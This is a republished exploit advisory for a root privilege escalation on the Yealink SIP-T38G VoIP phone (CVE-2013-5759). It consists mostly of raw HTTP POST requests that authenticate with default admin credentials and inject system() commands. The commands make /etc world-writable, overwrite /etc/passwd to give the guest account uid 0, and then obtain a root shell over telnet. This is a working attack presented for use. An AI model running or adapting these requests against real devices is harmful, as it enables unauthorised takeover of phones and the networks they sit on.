Bài liên quan
Title: Yealink VoIP Phone SIP-T38G Privileges EscalationAuthor: Mr.Un1k0d3r & Doreth.Z10 From RingZer0 TeamVendor Homepage: http://www.yealink.com/Companyprofile.aspxVersion: VoIP Phone SIP-T38GCVE: CVE-2013-5759Description:Using the fact that cgiServer.exx run under the root privileges we use thecommand execution (CVE-2013-5758) to modify the system file restriction.Then we add extra privileges to the guest account.POC:Step 1 - Changing /etc folder right to 777:POST /cgi-bin/cgiServer.exx HTTP/1.1Host: 10.0.75.122Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateAuthorization: Basic YWRtaW46YWRtaW4=Connection: keep-aliveContent-Type: application/x-www-form-urlencodedContent-Length: 0system("/bin/busybox%20chmod%20-R%20777%20/etc")Step 2 - Change guest user uid:POST /cgi-bin/cgiServer.exx HTTP/1.1Host: 10.0.75.122Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateAuthorization: Basic YWRtaW46YWRtaW4=Connection: keep-aliveContent-Type: application/x-www-form-urlencodedContent-Length: 0system("echo "root:x:0:0:Root,,,:/:/bin/shadmin:x:500:500:Admin,,,:/:/bin/shguest:x:0:0:Guest,,,:/:/bin/sh\" > /etc/passwd")Step 3 - Connect back using telnet and guest account (password is guest):# iduid=0(root) gid=0(root)Enjoy your root shell :)-- *Mr.Un1k0d3r** or 1 #*
Post a Comment